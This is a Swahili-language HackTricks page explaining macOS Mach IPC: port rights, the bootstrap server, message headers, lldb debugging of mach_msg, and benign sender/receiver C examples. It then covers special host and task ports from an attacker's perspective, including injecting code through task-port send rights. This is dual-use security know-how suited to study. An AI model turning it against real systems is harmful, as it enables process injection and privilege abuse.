macOS IPC - Inter Process Communication

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Ujumbe wa Mach kupitia Bandari

Taarifa Msingi

Mach hutumia kazi kama kitengo kidogo cha kugawana rasilimali, na kila kazi inaweza kuwa na vijiti vingi. Hizi kazi na vijiti vinahusishwa 1:1 na michakato na vijiti vya POSIX.

Mawasiliano kati ya kazi hufanyika kupitia Mawasiliano ya Michakato ya Mach (IPC), kwa kutumia njia za mawasiliano ya njia moja. Ujumbe hupitishwa kati ya bandari, ambazo hufanya kama aina ya safu za ujumbe zinazosimamiwa na kernel.

Bandari ni elementi msingi ya Mach IPC. Inaweza kutumika kutuma ujumbe na kupokea.

Kila mchakato una jedwali la IPC, ambapo inawezekana kupata bandari za mach za mchakato. Jina la bandari ya mach ni kweli nambari (kielekezi kwa kitu cha kernel).

Mchakato pia unaweza kutuma jina la bandari na baadhi ya haki kwa kazi tofauti na kernel itafanya kuingia hii katika jedwali la IPC la kazi nyingine ionekane.

Haki za Bandari

Haki za bandari, ambazo hufafanua ni operesheni gani kazi inaweza kufanya, ni muhimu katika mawasiliano haya. Haki za bandari zinaweza kuwa (maelezo kutoka hapa):

  • Haki ya Kupokea, ambayo inaruhusu kupokea ujumbe uliotumwa kwa bandari. Bandari za Mach ni safu za MPSC (wazalishaji wengi, mtumiaji mmoja) safu, ambayo inamaanisha kwamba inaweza kuwepo haki moja ya kupokea kwa kila bandari katika mfumo mzima (tofauti na mabomba, ambapo michakato mingi inaweza kushikilia viashiria vya faili kwa mwisho wa kusoma wa bomba moja).

  • Kazi yenye Haki ya Kupokea inaweza kupokea ujumbe na kuunda Haki za Kutuma, kuruhusu kutuma ujumbe. Awali tu kazi yenyewe ina Haki ya Kupokea juu ya bandari yake.

  • Ikiwa mmiliki wa Haki ya Kupokea anakufa au kuifunga, haki ya kutuma inakuwa bure (jina lililokufa).

  • Haki ya Kutuma, inayoruhusu kutuma ujumbe kwa bandari.

  • Haki ya Kutuma inaweza kufanyiwa nakala ili kazi ikiwa na Haki ya Kutuma inaweza kufanya nakala ya haki hiyo na kuipatia kazi ya tatu.

  • Kumbuka kwamba haki za bandari pia zinaweza kupitishwa kupitia ujumbe wa Mac.

  • Haki ya Kutuma mara moja, inayoruhusu kutuma ujumbe moja kwa bandari na kisha kutoweka.

  • Haki hii haiwezi kufanyiwa nakala, lakini inaweza kuhamishwa.

  • Haki ya Seti ya Bandari, inayotambulisha seti ya bandari badala ya bandari moja. Kutoa ujumbe kutoka kwa seti ya bandari kunatoa ujumbe kutoka kwa moja ya bandari inayojumuisha. Seti za bandari zinaweza kutumika kusikiliza bandari kadhaa kwa wakati mmoja, kama chagua/piga kura/epoll/kqueue katika Unix.

  • Jina lililokufa, ambalo sio haki halisi ya bandari, bali ni nafasi tupu. Wakati bandari inaharibiwa, haki zote za bandari zilizopo kwa bandari hiyo zinageuka kuwa majina yaliyokufa.

Kazi zinaweza kusafirisha HAKI ZA KUTUMA kwa wengine, kuwaruhusu kutuma ujumbe nyuma. HAKI ZA KUTUMA pia zinaweza kufanyiwa nakala, hivyo kazi inaweza kuzidisha na kumpa haki ya tatu. Hii, pamoja na mchakato wa kati unaojulikana kama seva ya bootstrap, inaruhusu mawasiliano yenye ufanisi kati ya kazi.

Bandari za Faili

Bandari za faili huruhusu kufunga viashiria vya faili katika bandari za Mac (kwa kutumia Haki za Bandari za Mach). Inawezekana kuunda fileport kutoka kwa FD iliyopewa kutumia fileport_makeport na kuunda FD kutoka kwa fileport kutumia fileport_makefd.

Kuweka Mawasiliano

Kama ilivyotajwa hapo awali, inawezekana kutuma haki kutumia ujumbe wa Mach, hata hivyo, hauwezi kutuma haki bila kuwa na haki ya kutuma ujumbe wa Mach. Kwa hivyo, mawasiliano ya kwanza yanathibitishwaje?

Kwa hili, seva ya bootstrap (launchd kwenye mac) inahusika, kwani kila mtu anaweza kupata HAKI YA KUTUMA kwa seva ya bootstrap, inawezekana kuomba haki ya kutuma ujumbe kwa mchakato mwingine:

  1. Kazi A inaunda bandari mpya, ikipata HAKI YA KUPOKEA juu yake.

  2. Kazi A, ikiwa mmiliki wa HAKI YA KUPOKEA, inazalisha HAKI YA KUTUMA kwa bandari.

  3. Kazi A inathibitisha mawasiliano na seva ya bootstrap, na kupeleka HAKI YA KUTUMA kwa bandari iliyozalishwa mwanzoni.

  • Kumbuka kwamba mtu yeyote anaweza kupata HAKI YA KUTUMA kwa seva ya bootstrap.

  1. Kazi A inatuma ujumbe wa bootstrap_register kwa seva ya bootstrap ili kuhusisha bandari iliyotolewa na jina kama com.apple.taska

  2. Kazi B inaingiliana na seva ya bootstrap kutekeleza utaftaji wa bootstrap kwa jina la huduma (bootstrap_lookup). Kwa hivyo seva ya bootstrap inaweza kujibu, kazi B itatuma HAKI YA KUTUMA kwa bandari iliyoundwa hapo awali ndani ya ujumbe wa utaftaji. Ikiwa utaftaji unafanikiwa, seva inadua HAKI YA KUTUMA iliyopokelewa kutoka kwa Kazi A na kuhamisha kwa Kazi B.

  • Kumbuka kwamba mtu yeyote anaweza kupata HAKI YA KUTUMA kwa seva ya bootstrap.

  1. Kwa HAKI HII YA KUTUMA, Kazi B inaweza kutuma ujumbe kwa Kazi A.

  2. Kwa mawasiliano ya pande zote kawaida kazi B inazalisha bandari mpya na HAKI YA KUPOKEA na HAKI YA KUTUMA, na kumpa HAKI YA KUTUMA kwa Kazi A ili iweze kutuma ujumbe kwa KAZI B (mawasiliano ya pande zote).

Seva ya bootstrap haiwezi kuthibitisha jina la huduma lililodaiwa na kazi. Hii inamaanisha kazi inaweza kwa uwezekano kujifanya kuwa kazi yoyote ya mfumo, kama vile kudai jina la huduma ya idhini na kisha kuidhinisha kila ombi.

Kisha, Apple huhifadhi majina ya huduma zilizotolewa na mfumo katika faili za usanidi salama, zilizoko katika miongozo iliyolindwa na SIP: /System/Library/LaunchDaemons na /System/Library/LaunchAgents. Pamoja na kila jina la huduma, binary inayohusiana pia imehifadhiwa. Seva ya bootstrap, itaunda na kushikilia HAKI YA KUPOKEA kwa kila moja ya majina haya ya huduma.

Kwa huduma hizi zilizopangwa mapema, mchakato wa utaftaji unatofautiana kidogo. Wakati jina la huduma linatafutwa, launchd huanzisha huduma hiyo kwa muda. Mchakato mpya ni kama ifuatavyo:

  • Kazi B inaanzisha utaftaji wa bootstrap kwa jina la huduma.

  • launchd inachunguza ikiwa kazi inaendeshwa na ikiwa haiko, inaianzisha.

  • Kazi A (huduma) inatekeleza kuangalia bootstrap (bootstrap_check_in()). Hapa, **seva ya bootstrap inaunda HAKI YA KUTUMA, inaishikilia, na inahamisha HAKI YA KUPOKEA kwa Kazi A.

  • launchd inazidisha HAKI YA KUTUMA na kupeleka kwa Kazi B.

  • Kazi B inazalisha bandari mpya na HAKI YA KUPOKEA na HAKI YA KUTUMA, na kumpa HAKI YA KUTUMA kwa Kazi A (huduma) ili iweze kutuma ujumbe kwa KAZI B (mawasiliano ya pande zote).

Walakini, mchakato huu unatumika tu kwa kazi za mfumo zilizopangwa mapema. Kazi zisizo za mfumo bado zinaendesha kama ilivyoelezwa awali, ambayo inaweza kwa uwezekano kuruhusu udanganyifu.

Kwa hivyo, launchd kamwe haipaswi kugonga au mfumo mzima utaanguka.

Ujumbe wa Mach

Pata habari zaidi hapa

Kazi ya mach_msg, kimsingi ni wito wa mfumo, hutumiwa kutuma na kupokea ujumbe wa Mach. Kazi inahitaji ujumbe utumwe kama hoja ya awali. Ujumbe huu lazima uanze na muundo wa mach_msg_header_t, ukifuatiwa na maudhui ya ujumbe halisi. Muundo huo umedefiniwa kama ifuatavyo:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Mchakato unaomiliki haki ya kupokea inaweza kupokea ujumbe kwenye mlango wa Mach. Kinyume chake, wapelekaji wanapewa haki ya kutuma au haki ya kutuma mara moja. Haki ya kutuma mara moja ni kwa ajili ya kutuma ujumbe mmoja tu, baada ya hapo inakuwa batili.

Uga wa awali msgh_bits ni ramani ya biti:

  • Biti ya kwanza (yenye maana zaidi) hutumiwa kuonyesha kuwa ujumbe ni mgumu (zaidi kuhusu hili chini)

  • Ya 3 na 4 hutumiwa na kernel

  • Biti 5 zilizo na thamani ndogo zaidi za byte ya 2 zinaweza kutumika kwa voucher: aina nyingine ya mlango wa kutuma mchanganyiko wa funguo/thamani.

  • Biti 5 zilizo na thamani ndogo zaidi za byte ya 3 zinaweza kutumika kwa mlango wa ndani

  • Biti 5 zilizo na thamani ndogo zaidi za byte ya 4 zinaweza kutumika kwa mlango wa mbali

Aina zinazoweza kutajwa katika voucher, milango ya ndani na ya mbali ni (kutoka mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

Kwa mfano, MACH_MSG_TYPE_MAKE_SEND_ONCE inaweza kutumika kuashiria kwamba haki ya kutuma mara moja inapaswa kuletwa na kuhamishiwa kwa ajili ya bandari hii. Inaweza pia kutajwa MACH_PORT_NULL ili kuzuia mpokeaji kuweza kujibu.

Ili kufanikisha mawasiliano ya pande zote kwa urahisi, mchakato unaweza kutaja bandari ya mach katika kichwa cha ujumbe wa mach kinachoitwa bandari ya jibu (msgh_local_port) ambapo mpokeaji wa ujumbe anaweza kutuma jibu kwa ujumbe huu.

Tafadhali elewa kwamba aina hii ya mawasiliano ya pande zote hutumiwa katika ujumbe wa XPC ambao unatarajia jibu (xpc_connection_send_message_with_reply na xpc_connection_send_message_with_reply_sync). Lakini kawaida bandari tofauti huzalishwa kama ilivyoelezwa hapo awali ili kuunda mawasiliano ya pande zote.

Vitengo vingine vya kichwa cha ujumbe ni:

  • msgh_size: ukubwa wa pakiti nzima.

  • msgh_remote_port: bandari ambayo ujumbe huu unatumwa.

  • msgh_voucher_port: vifungo vya mach.

  • msgh_id: kitambulisho cha ujumbe huu, ambacho huchambuliwa na mpokeaji.

Tafadhali elewa kwamba ujumbe wa mach hutumwa kupitia bandari ya mach, ambayo ni njia ya mawasiliano ya mpokeaji mmoja, watumaji wengi iliyojengwa ndani ya kernel ya mach. Mchakato mwingi unaweza kutuma ujumbe kwa bandari ya mach, lakini wakati wowote ni mchakato mmoja tu unaweza kusoma kutoka kwake.

Ujumbe kisha hufanywa na kichwa cha mach_msg_header_t kifuatiwa na mwili na na trailer (ikiwa ipo) na inaweza kutoa idhini ya kujibu. Katika kesi hizi, kernel inahitaji tu kusafirisha ujumbe kutoka kazi moja hadi nyingine.

Trailer ni taarifa iliyowekwa kwenye ujumbe na kernel (haiwezi kuwekwa na mtumiaji) ambayo inaweza kuhitajika wakati wa kupokea ujumbe kwa kutumia bendera MACH_RCV_TRAILER_<trailer_opt> (kuna taarifa tofauti zinazoweza kuhitajika).

Ujumbe Wenye Utata

Hata hivyo, kuna ujumbe mwingine wenye utata zaidi, kama vile wale wanaopitisha haki za bandari za ziada au kugawana kumbukumbu, ambapo kernel pia unahitaji kutuma vitu hivi kwa mpokeaji. Katika kesi hizi, biti muhimu zaidi ya kichwa msgh_bits inawekwa.

Maelezo yanayowezekana ya kupitisha yanatambuliwa katika mach/message.h:

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

Mac Ports APIs

Tafadhali kumbuka kuwa bandari zinaunganishwa na jina la kazi, kwa hivyo ili kuunda au kutafuta bandari, jina la kazi pia linahitajika (zaidi katika mach/mach_port.h):

  • mach_port_allocate | mach_port_construct: Unda bandari.

  • mach_port_allocate inaweza pia kuunda seti ya bandari: haki ya kupokea juu ya kikundi cha bandari. Kila wakati ujumbe unapopokelewa inaonyeshwa bandari kutoka ambapo ulitumwa.

  • mach_port_allocate_name: Badilisha jina la bandari (kwa chaguo msingi nambari ya 32bit)

  • mach_port_names: Pata majina ya bandari kutoka kwa lengo

  • mach_port_type: Pata haki za kazi juu ya jina

  • mach_port_rename: Badilisha jina la bandari (kama dup2 kwa FDs)

  • mach_port_allocate: Tenga kupokea mpya, PORT_SET au DEAD_NAME

  • mach_port_insert_right: Unda haki mpya katika bandari ambapo una PATA

  • mach_port_...

  • mach_msg | mach_msg_overwrite: Vipengele vinavyotumiwa kutuma na kupokea ujumbe wa mach. Toleo la kubadilisha linaruhusu kutaja buffer tofauti kwa kupokea ujumbe (toleo lingine litaitumia tena).

Debug mach_msg

Kwa kuwa kazi mach_msg na mach_msg_overwrite ndizo hutumiwa kutuma na kupokea ujumbe, kuweka kizuizi juu yao kunaweza kuruhusu kupekua ujumbe uliotumwa na ule uliopokelewa.

Kwa mfano, anza kudebugi programu yoyote unayoweza kudebugi kwani itapakia libSystem.B ambayo itatumia kazi hii.

(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

Ili kupata hoja za mach_msg angalia rejista. Hizi ndizo hoja (kutoka mach/message.h):

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

Pata thamani kutoka kwenye rejisti:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

Chunguza kichwa cha ujumbe ukichunguza hoja ya kwanza:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

Aina hiyo ya mach_msg_bits_t ni ya kawaida sana kuruhusu jibu.

Piga namba za bandari

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

Jina ni jina la chaguo-msingi linalopewa mlango (angalia jinsi inavyo ongezeka katika herufi 3 za kwanza). ipc-object ni kitambulisho cha kipekee kilichofichwa cha mlango. Pia kumbuka jinsi milango yenye haki za kutuma pekee inavyo tambulisha mmiliki wake (jina la mlango + pid). Pia kumbuka matumizi ya + kuonyesha kazi nyingine zilizounganishwa na mlango huo huo.

Pia niwezekana kutumia procesxp kuona pia majina ya huduma zilizosajiliwa (ikiwa SIP imelemazwa kutokana na hitaji la com.apple.system-task-port):

procesp 1 ports

Unaweza kusakinisha zana hii kwenye iOS kwa kuipakua kutoka http://newosxbook.com/tools/binpack64-256.tar.gz

Mfano wa Kanuni

Tafadhali angalia jinsi mtumaji anavyo tenga bandari, anajenga haki ya kutuma kwa jina org.darlinghq.example na kuituma kwa seva ya bootstrap wakati mtumaji alipoomba haki ya kutuma ya jina hilo na kuitumia kutuma ujumbe.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

Mawasiliano ya Mchakato kwa Mchakato (IPC) kwenye macOS

Hii ni mifano ya programu ya kutumia mawasiliano ya mchakato kwa mchakato (IPC) kwenye macOS. Programu hizi zinaonyesha jinsi mchakato mmoja unaweza kushirikiana na mchakato mwingine kwa kutumia njia za IPC kama vile mistari ya mawasiliano (pipes) na mizunguko ya ujumbe (message queues).

Kwa maelezo zaidi, tafadhali angalia maoni ndani ya vipande vya programu.

Jinsi ya Kutumia

  1. Kukusanya programu kwa kutumia amri make.

  2. Anza mpokeaji kwa kufanya ./receiver.

  3. Anza mtumaji kwa kufanya ./sender.

Sasa mtumaji atatuma ujumbe kwa mpokeaji kupitia njia ya IPC iliyochaguliwa.

Kumbuka

Hizi ni mifano tu na hazijajaribiwa kwa usalama kamili. Tumia kwa uangalifu na uelewe hatari zinazowezekana za usalama zinazohusiana na mawasiliano ya mchakato kwa mchakato.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

Vioja Vya Kipekee

Kuna baadhi ya vioja maalum vinavyoruhusu kutekeleza vitendo fulani nyeti au kupata ufikivu wa data nyeti fulani ikiwa kazi ina ruhusa ya KUTUMA juu yao. Hii inafanya vioja hivi kuwa vya kuvutia sana kutoka mtazamo wa mshambuliaji si tu kwa sababu ya uwezo bali pia kwa sababu ni rahisi kushiriki ruhusa ya KUTUMA kati ya kazi.

Vioja Maalum vya Mwenyeji

Vioja hivi vinawakilishwa na nambari.

Haki za KUTUMA zinaweza kupatikana kwa kuita host_get_special_port na haki za KUPATA kwa kuita host_set_special_port. Hata hivyo, wito wote unahitaji vioja vya host_priv ambavyo vinaweza kupatikana tu na root. Zaidi ya hayo, hapo awali root alikuwa na uwezo wa kuita host_set_special_port na kuteka vioja vyovyote vilivyowezesha kwa mfano kukiuka saini za nambari kwa kuteka HOST_KEXTD_PORT (SIP sasa inazuia hili).

Vioja hivi vimegawanywa katika makundi 2: vioja 7 vya kwanza vinamilikiwa na kernel ikiwa 1 ni HOST_PORT, 2 ni HOST_PRIV_PORT, 3 ni HOST_IO_MASTER_PORT na 7 ni HOST_MAX_SPECIAL_KERNEL_PORT. Vioja vinavyoanza kutoka nambari 8 vinamilikiwa na daemons ya mfumo na vinaweza kupatikana vikiwa vimeorodheshwa katika host_special_ports.h.

  • Vioja vya Mwenyeji: Ikiwa mchakato una ruhusa ya KUTUMA juu ya vioja hivi, unaweza kupata taarifa kuhusu mfumo kwa kuita rutini zake kama vile:

  • host_processor_info: Pata taarifa za processor

  • host_info: Pata taarifa za mwenyeji

  • host_virtual_physical_table_info: Jedwali la kurasa la Kivinjari/Kimwili (inahitaji MACH_VMDEBUG)

  • host_statistics: Pata takwimu za mwenyeji

  • mach_memory_info: Pata muundo wa kumbukumbu ya kernel

  • Vioja vya Mwenyeji Priv: Mchakato wenye haki ya KUTUMA juu ya vioja hivi anaweza kutekeleza vitendo vya kipekee kama kuonyesha data ya kuanza au jaribu la kupakia nyongeza ya kernel. Mchakato unahitaji kuwa root kupata ruhusa hii.

  • Zaidi ya hayo, ili kuita API ya kext_request ni lazima kuwa na ruhusa nyingine za com.apple.private.kext* ambazo hupewa tu programu za Apple.

  • Rutini zingine zinazoweza kuitwa ni:

  • host_get_boot_info: Pata machine_boot_info()

  • host_priv_statistics: Pata takwimu za kipekee

  • vm_allocate_cpm: Tenga Kumbukumbu Fizi halisi

  • host_processors: Tuma haki kwa waendeshaji wa mwenyeji

  • mach_vm_wire: Fanya kumbukumbu iweze kukaa

  • Kwa kuwa root anaweza kupata ruhusa hii, inaweza kuita host_set_[special/exception]_port[s] ili kuteka vioja vya mwenyeji maalum au vioja vya kipekee.

Inawezekana kuona vioja vyote vya mwenyeji maalum kwa kukimbia:

procexp all ports | grep "HSP"

Violezo vya Kazi

Awali Mach haikuwa na "mchakato" ilikuwa na "kazi" ambayo ilichukuliwa zaidi kama chombo cha nyuzi. Wakati Mach ilipounganishwa na BSD kila kazi ilihusishwa na mchakato wa BSD. Kwa hivyo kila mchakato wa BSD una maelezo yanayohitajika kuwa mchakato na kila kazi ya Mach pia ina kazi zake za ndani (isipokuwa kwa pid 0 isiyokuwepo ambayo ni kernel_task).

Kuna kazi mbili za kuvutia sana zinazohusiana na hii:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): Pata haki ya KUTUMA kwa kazi ya kazi inayohusiana na ile iliyotajwa na pid na itoe kwa target_task_port iliyotajwa (ambayo kawaida ni kazi ya mwito ambayo imeitumia mach_task_self(), lakini inaweza kuwa bandari ya KUTUMA juu ya kazi tofauti.)

  • pid_for_task(task, &pid): Ukipewa haki ya KUTUMA kwa kazi, pata PID gani kazi hii inahusiana nayo.

Ili kutekeleza vitendo ndani ya kazi, kazi ilihitaji haki ya KUTUMA kwake yenyewe kwa kuita mach_task_self() (ambayo hutumia task_self_trap (28)). Kwa idhini hii, kazi inaweza kutekeleza vitendo kadhaa kama:

  • task_threads: Pata haki ya KUTUMA juu ya bandari zote za kazi za nyuzi za kazi

  • task_info: Pata habari kuhusu kazi

  • task_suspend/resume: Lemaza au rudisha kazi

  • task_[get/set]_special_port

  • thread_create: Unda nyuzi

  • task_[get/set]_state: Dhibiti hali ya kazi

  • na zaidi inaweza kupatikana katika mach/task.h

Tambua kwamba ukiwa na haki ya KUTUMA juu ya bandari ya kazi ya kazi tofauti, inawezekana kutekeleza vitendo kama hivyo juu ya kazi tofauti.

Zaidi ya hayo, bandari ya kazi ni pia bandari ya vm_map ambayo inaruhusu kusoma na kubadilisha kumbukumbu ndani ya kazi kwa kutumia kazi kama vm_read() na vm_write(). Hii kimsingi inamaanisha kwamba kazi yenye haki za KUTUMA juu ya bandari ya kazi ya kazi tofauti itaweza kuingiza namna ndani ya kazi hiyo.

Kumbuka kwamba kwa sababu kernel pia ni kazi, ikiwa mtu anafanikiwa kupata idhini ya KUTUMA juu ya kernel_task, itaweza kufanya kernel kutekeleza chochote (jailbreaks).

  • Piga simu mach_task_self() ili pate jina kwa bandari hii kwa kazi ya mwito. Bandari hii inarithiwa tu wakati wa exec(); kazi mpya iliyoumbwa na fork() inapata bandari mpya ya kazi (kama kesi maalum, kazi pia inapata bandari mpya ya kazi baada ya exec() katika binary ya suid). Njia pekee ya kuzalisha kazi na kupata bandari yake ni kufanya "port swap dance" wakati wa kufanya fork().

  • Hizi ni vizuizi vya kupata bandari (kutoka macos_task_policy kutoka kwa binary AppleMobileFileIntegrity):

  • Ikiwa programu ina ruhusa ya com.apple.security.get-task-allow mchakato kutoka kwa mtumiaji huyo anaweza kupata bandari ya kazi (kawaida huongezwa na Xcode kwa madhumuni ya kurekebisha makosa). Mchakato wa kuidhinisha hautaruhusu hii kwa matoleo ya uzalishaji.

  • Programu zenye ruhusa ya com.apple.system-task-ports inaweza kupata bandari ya kazi kwa mchakato wowote, isipokuwa kernel. Katika toleo za zamani ilikuwa inaitwa task_for_pid-allow. Hii inatolewa tu kwa programu za Apple.

